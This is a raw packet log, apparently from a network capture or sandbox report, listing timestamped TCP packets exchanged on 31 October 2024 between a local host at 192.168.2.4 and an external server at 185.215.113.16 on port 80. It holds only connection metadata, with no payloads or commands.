Oct 31, 2024 20:52:08.612867117 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.612904072 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.612935066 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.612946987 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.612957001 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.612967968 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.612982035 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.612986088 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.612999916 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.613003016 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.613009930 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.613034964 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.613046885 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.613410950 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.613424063 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.613435984 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.613447905 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.613476038 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.613492966 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.613518953 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.613529921 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.613540888 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.613555908 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.613567114 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.613570929 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.613585949 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.613586903 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.613599062 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.613610029 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.613626003 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.613647938 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.613661051 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.613688946 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.613749027 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.613771915 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.613782883 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.613794088 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.613800049 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.613818884 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.613856077 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.613899946 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.613910913 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.613924980 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.613938093 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.613946915 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.613951921 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.613970995 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.614005089 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.614034891 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.614047050 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.614058018 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.614068031 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.614087105 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.614108086 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.614140034 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.614151001 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.614161968 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.614173889 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.614187002 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.614227057 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.614512920 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.614536047 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.614547968 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.614557981 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.614558935 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.614571095 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.614603996 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.614638090 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.614667892 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.614681005 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.614691019 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.614708900 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.614715099 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.614722013 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.614759922 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.614854097 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.614865065 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.614885092 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.614897966 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.614909887 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.614912987 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.614922047 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.614932060 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.614933014 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.614964008 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.614996910 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.615015984 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.615030050 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.615065098 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.615077019 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.774957895 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.775047064 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.775079012 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.775160074 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.775176048 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.775186062 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.775198936 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.775211096 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.775218964 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.775218964 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.775218964 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.775223017 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.775240898 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.775247097 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.775270939 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.775300026 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.775306940 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.775321007 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.775351048 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.775377035 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.775772095 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.775784969 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.775795937 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.775805950 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.775830030 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.775841951 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.775852919 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.775861025 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.775882006 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.775902987 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.775911093 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.775916100 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.775926113 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.775947094 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.775969982 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.778796911 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.778850079 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.778903961 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.778915882 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.778928041 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.778939009 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.778954029 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.778991938 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.779001951 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.779012918 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.779062986 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.779078007 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.779088020 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.779097080 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.779108047 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.779140949 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.779295921 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.779340029 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.779344082 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.779362917 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.779376030 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.779385090 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.779386997 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.779402971 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.779416084 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.779433966 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.779464960 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.779481888 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.779505014 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.779510975 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.779515982 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.779526949 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.779536963 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.779539108 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.779558897 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.779587984 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.779797077 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.779817104 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.779833078 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.779840946 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.779844999 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.779855013 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.779881001 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.779902935 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.779985905 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.779998064 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780034065 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.780045986 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.780065060 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780076027 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780109882 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.780117989 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780178070 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780185938 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.780190945 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780203104 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780220985 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780226946 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.780235052 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780237913 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.780270100 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.780273914 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780286074 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780313015 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.780334949 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780345917 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.780345917 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780345917 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.780358076 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780371904 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780386925 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.780416965 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.780551910 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780565023 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780574083 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780589104 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780601025 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780605078 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.780612946 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780618906 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.780649900 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.780659914 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780670881 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780673027 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.780683041 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780705929 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.780730009 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.780803919 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780817032 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780827999 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780838966 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780853033 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780853033 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.780864000 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780881882 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.780896902 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.780926943 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.780941963 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780953884 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780966043 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780976057 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780987024 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.780987024 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.780999899 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.781013012 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.781018019 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.781023026 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.781033993 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.781076908 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.781112909 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.781122923 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.781132936 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.781162977 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.781189919 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.781269073 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.781282902 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.781296015 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.781306028 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.781320095 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.781348944 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.781402111 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.781449080 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.781474113 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.781517029 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.781517029 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.781523943 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.781536102 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.781549931 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.781567097 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.781594038 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.781671047 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.781682014 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.781692982 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.781723022 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.781733036 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.782234907 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.782283068 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.942462921 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.942605019 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.942615986 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.942625999 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.942642927 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.942655087 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.942667007 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.942678928 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.942689896 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.942689896 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.942689896 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.942701101 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.942713022 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.942722082 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.942725897 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.942748070 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.942770958 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.943356037 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.943408012 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.943487883 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.943500042 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.943510056 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.943521023 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.943542004 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.943574905 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.943635941 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.943649054 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.943685055 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.943717957 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.946424961 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.946438074 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.946449041 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.946479082 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.946504116 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.946578026 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.946588993 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.946599007 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.946610928 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.946621895 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.946624041 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.946651936 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.946671009 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.946721077 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.946731091 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.946739912 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.946752071 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.946760893 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.946775913 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.946804047 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.946883917 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.946896076 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.946937084 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.947040081 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.947052002 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.947067022 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.947094917 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.947104931 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.947237015 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.947247028 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.947257042 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.947289944 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.947316885 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.947356939 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.947369099 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.947386026 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.947396040 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.947398901 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.947417974 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.947432995 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.948000908 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948051929 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.948314905 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948329926 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948340893 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948350906 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948363066 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948363066 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.948374987 CET	80	49734	185.215.113.16	192.168.2.4
